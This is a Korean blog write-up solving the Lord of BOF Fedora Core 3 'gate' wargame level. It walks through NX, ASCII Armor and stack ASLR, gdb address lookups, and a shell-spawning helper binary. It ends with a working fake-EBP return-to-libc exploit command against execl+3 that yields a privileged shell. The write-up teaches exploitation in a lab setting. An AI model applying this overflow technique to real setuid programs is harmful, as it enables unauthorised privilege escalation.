[Load of BOF/FC3] gate

Load of BOF - 페도라 성의 첫번째 관문입니다.

환경요약

HackerSchool에서 제공하는 환경 요약은 다음과 같습니다.

  • Stack Dummy : O
  • Down privileage of bash : O
  • Random Stack : O
  • Random Library : X
  • Random Program Binary Mapped : X
  • ASCII Armor : O
  • Non-Executable Stack : O
  • Non-Executable Heap : O
  • Stack Carany : X
  • Stack Smashing Protector : X

간단하게 보면 NX-bit가 걸려있으며 ASLR은 스택에만 걸려있습니다.

공격벡터 구성

공격을 하기 위해서는 공격벡터를 구성해야 됩니다.

일단 먼저 소스코드부터 확인을 해보죠.

/*
        The Lord of the BOF : The Fellowship of the BOF 
        - iron_golem
        - Local BOF on Fedora Core 3 
        - hint : fake ebp
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

소스코드 자체는 어려운 부분이 없습니다. 적용된 메모리 보호기법도 없고 스택의 공간도 많습니다. 당연히 취약점도 strcpy에서 BOF가 발생합니다. 하지만 NX-bit가 걸려있기 때문에 Stack에 쉘코드를 집어넣거나 /bin/sh와 같은 문자열 같은 것을 넣을수는 없습니다. 당연히 Stack을 사용하는 기법은 공격벡터에서 제외하도록 하겠습니다.

이제 남은것은 RTL기법과 ROP기법이 있습니다. RTL기법이나 ROP기법을 사용하기 위해서 라이브러리 주소를 알아내야 됩니다. 그러기 위해서 바이너리에 포함된 시스템 라이브러리의 주소를 확인해보면 다음과 같습니다.


b *main
(out)Breakpoint 1 at 0x80483d0
r
(out)Starting program: /home/gate/iron_golem 
(out)(no debugging symbols found)...(no debugging symbols found)...
(out)Breakpoint 1, 0x080483d0 in main ()
p system
(out)$1 = {&lttext variable, no debug info&gt} 0x7507c0 &ltsystem&gt
p execl
(out)$2 = {&lttext variable, no debug info&gt} 0x7a5720 &ltexecl&gt
p strcpy
(out)$3 = {&ltttext variable, no debug info&gt} 0x783880 &ltstrcpy&gt
p puts
(out)$4 = {&ltttext variable, no debug info&gt} 0x770380 &ltputs&gt

보면 저는 다루지 않았지만 Load of BOF - Redhat에서 보던 형태랑 약간 다릅니다. 모를수도 있는 분들을 위해 Load of BOF - Redhat의 gate의 시스템 라이브러리 함수의 주소와 비교를 해보겠습니다.


b *main
(out)Breakpoint 1 at 0x8048430
r
(out)Starting program: /home/gate/gremlia 
(out)
(out)Breakpoint 1, 0x8048430 in main ()
p system
(out)$1 = {&lttext variable, no debug info&gt} 0x40058ae0 &lt__libc_system&gt
p execl
(out)$2 = {int (char *, char *)} 0x400a9ec0 &ltexecl&gt
p strcpy
(out)$3 = {char *(char *, char *)} 0x400767b0 &ltstrcpy&gt
p puts
(out)$4 = {&lttext variable, no debug info&gt} 0x4006b570 &lt_IO_puts&gt

보시면 아시겠지만 FC3에서는 Ascii Ammor가 걸려있기 때문에 주소가 3바이트만 나옵니다. 물론 실제로는 앞에 00가 붙기 때문에 4바이트입니다. 즉 execl의 주소는 0x7a5720입니다. 그와 반대로 Redhat에서는 4바이트 그대로 출력이 됩니다.

만약에 execl으로 페이로드를 작성한다면 RET부분에 \x20\x57\x7a\x00이 들어가게 됩니다. 당연히 맨뒤가 \x00이기 때문에 strcpy에서 \x00까지만 입력을 받고 나머지는 버리게 됩니다. 그렇기 때문에 일반적인 RTL처럼 인자값을 넣을 수도 없고, RTL Chain이나 RTL Chain을 사용하는 ROP도 불가능합니다.

그렇다면 어떻게 해야지 execl함수에 인자값을 넘길 수 있을까요? 방법은 간단합니다. 바로 FakeEBP를 사용해서 execl함수에 인자값을 넣으면 됩니다.

그렇다면 인자값을 어떤것으로 넣어줘야 될까요? 당연히 Stack은 사용이 불가능합니다. 주소값이 변하기 때문이죠. 하지만 ASLR이 걸려있어도 변하지 않는 부분이 있습니다. 바로 Stack 영역을 제외한 나머지 부분입니다.

페이로드 구성

먼저 readelf를 사용해서 적당히 페이로드로 사용할 주소를 먼저 알아봅시다.


readelf -S iron_golem | grep .bss
(out)There are 28 section headers, starting at offset 0x840:
(out)
(out)Section Headers:
(out)  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
(out)  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
(out)  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
(out)  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
(out)  [ 3] .hash             HASH            08048148 000148 000034 04   A  4   0  4
(out)  [ 4] .dynsym           DYNSYM          0804817c 00017c 000080 10   A  5   1  4
(out)  [ 5] .dynstr           STRTAB          080481fc 0001fc 00006c 00   A  0   0  1
(out)  [ 6] .gnu.version      VERSYM          08048268 000268 000010 02   A  4   0  2
(out)  [ 7] .gnu.version_r    VERNEED         08048278 000278 000020 00   A  5   1  4
(out)  [ 8] .rel.dyn          REL             08048298 000298 000008 08   A  4   0  4
(out)  [ 9] .rel.plt          REL             080482a0 0002a0 000020 08   A  4  11  4
(out)  [10] .init             PROGBITS        080482c0 0002c0 000017 00  AX  0   0  4
(out)  [11] .plt              PROGBITS        080482d8 0002d8 000050 04  AX  0   0  4
(out)  [12] .text             PROGBITS        08048328 000328 0001d8 00  AX  0   0  4
(out)  [13] .fini             PROGBITS        08048500 000500 00001a 00  AX  0   0  4
(out)  [14] .rodata           PROGBITS        0804851c 00051c 000018 00   A  0   0  4
(out)  [15] .eh_frame         PROGBITS        08048534 000534 000004 00   A  0   0  4
(out)  [16] .ctors            PROGBITS        08049538 000538 000008 00  WA  0   0  4
(out)  [17] .dtors            PROGBITS        08049540 000540 000008 00  WA  0   0  4
(out)  [18] .jcr              PROGBITS        08049548 000548 000004 00  WA  0   0  4
(out)  [19] .dynamic          DYNAMIC         0804954c 00054c 0000c8 08  WA  5   0  4
(out)  [20] .got              PROGBITS        08049614 000614 000004 04  WA  0   0  4
(out)  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4
(out)  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4
(out)  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4
(out)  [24] .comment          PROGBITS        00000000 000640 000126 00      0   0  1
(out)  [25] .shstrtab         STRTAB          00000000 000766 0000d7 00      0   0  1
(out)  [26] .symtab           SYMTAB          00000000 000ca0 000480 10     27  44  4
(out)  [27] .strtab           STRTAB          00000000 001120 00025e 00      0   0  1
(out)Key to Flags:
(out)  W (write), A (alloc), X (execute), M (merge), S (strings)
(out)  I (info), L (link order), G (group), x (unknown)
(out)  O (extra OS processing required) o (OS specific), p (processor specific)

text영역이 08048328부터 시작함을 확인할 수 있습니다. 그렇다면 이제 적당히 파일이름으로 사용할만한 값을 한번 찾아봅시다. 이때 조건이 있습니다. 바로 앞의 8바이트는 0으로 채워져 있어야 된다는 것 입니다.


find 0x000000000000000
(out)Searching for '0x000000000000000' in: None ranges
(out)Found 9 results, display max 9 items:
(out)iron_golem : 0x8049544 --> 0x0 
(out)iron_golem : 0x80495e4 --> 0x0 
(out)iron_golem : 0x80495ec --> 0x0 
(out)iron_golem : 0x80495f4 --> 0x0 
(out)iron_golem : 0x80495fc --> 0x0 
(out)iron_golem : 0x8049604 --> 0x0 
(out)iron_golem : 0x804960c --> 0x0 
(out)iron_golem : 0x804961c --> 0x0 
(out)iron_golem : 0x8049634 --> 0x0 
x/3wx 0x8049544
(out)0x8049544:      0x00000000      0x00000000      0x00000001
x/3wx 0x804961c
(out)0x804961c:      0x00000000      0x00000000      0x080482ee
x/3w 0x8049634
(out)0x8049634:      0x00000000      0x00000000      0x08049544

peda를 사용해서 조건에 맞는 값을 찾아보았지만 간단하게 사용할 수 있는 주소는 0x8049544밖에 없습니다. 그렇다면 이제 이것을 토대로 익스플로잇을 해보죠.

익스플로잇!

먼저 쉘을 얻을 수 있는 바이너리를 생성해야 됩니다.

#include <stdlib.h>

int main(void)
{
    setreuid(geteuid(), geteuid());
    setregid(getegid(), getegid());
    system("/bin/sh");
}

이걸 파일이름을 \x01로 해서 컴파일을 합니다.


gcc get_shell.c -o `python -c "print '\x01'"`

이제 입력할 페이로드를 크기를 알아야 됩니다.


pdisass main
(out)Dump of assembler code for function main:
(out)   0x080483d0 <+0>:     push   ebp
(out)   0x080483d1 <+1>:     mov    ebp,esp
(out)   0x080483d3 <+3>:     sub    esp,0x108
(out)   0x080483d9 <+9>:     and    esp,0xfffffff0
(out)   0x080483dc <+12>:    mov    eax,0x0
(out)   0x080483e1 <+17>:    add    eax,0xf
(out)   0x080483e4 <+20>:    add    eax,0xf
(out)   0x080483e7 <+23>:    shr    eax,0x4
(out)   0x080483ea <+26>:    shl    eax,0x4
(out)   0x080483ed <+29>:    sub    esp,eax
(out)   0x080483ef <+31>:    cmp    DWORD PTR [ebp+0x8],0x1
(out)   0x080483f3 <+35>:    jg     0x804840f <main+63>
(out)   0x080483f5 <+37>:    sub    esp,0xc
(out)   0x080483f8 <+40>:    push   0x8048524
(out)   0x080483fd <+45>:    call   0x80482f8 <printf@plt>
(out)   0x08048402 <+50>:    add    esp,0x10
(out)   0x08048405 <+53>:    sub    esp,0xc
(out)   0x08048408 <+56>:    push   0x0
(out)   0x0804840a <+58>:    call   0x8048308 <exit@plt>
(out)   0x0804840f <+63>:    sub    esp,0x8
(out)   0x08048412 <+66>:    mov    eax,DWORD PTR [ebp+0xc]
(out)   0x08048415 <+69>:    add    eax,0x4
(out)   0x08048418 <+72>:    push   DWORD PTR [eax]
(out)   0x0804841a <+74>:    lea    eax,[ebp-0x108]
(out)   0x08048420 <+80>:    push   eax
(out)   0x08048421 <+81>:    call   0x8048318 <strcpy@plt>
(out)   0x08048426 <+86>:    add    esp,0x10
(out)   0x08048429 <+89>:    sub    esp,0x8
(out)   0x0804842c <+92>:    lea    eax,[ebp-0x108]
(out)   0x08048432 <+98>:    push   eax
(out)   0x08048433 <+99>:    push   0x8048530
(out)   0x08048438 <+104>:   call   0x80482f8 <printf@plt>
(out)   0x0804843d <+109>:   add    esp,0x10
(out)   0x08048440 <+112>:   leave  
(out)   0x08048441 <+113>:   ret    
(out)End of assembler dump.

디스어셈블링한 결과를 확인하면 버퍼의 사이즈는 0x108이라는 걸 확인할 수 있습니다. 이 뒤로 SFP와 RET가 옴을 확인할 수 있습니다.

이제 이를 토대로 익스플로잇을 페이로드를 작성해봅시다.


./iron_golem `python -c 'print "A" * 264 + "\x10\x96\x04\x08" + "\x23\x57\x7a\x00"'`
(out)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

whoami
(out)iron_golem
my-pass
(out)[생략]

왜 execl의 주소에 3을 더한거죠?

함수 프롤로그를 거치게 되면 FakeEBP가 소용이 없게 됩니다. 이 함수 프롤로그를 넘기기 위해 3을 더해줘야 됩니다.

h4n9u1

h4n9u1
Back-End Developer and Newbie Linux System Administrator, Newbie Hacker(System, RE, Web)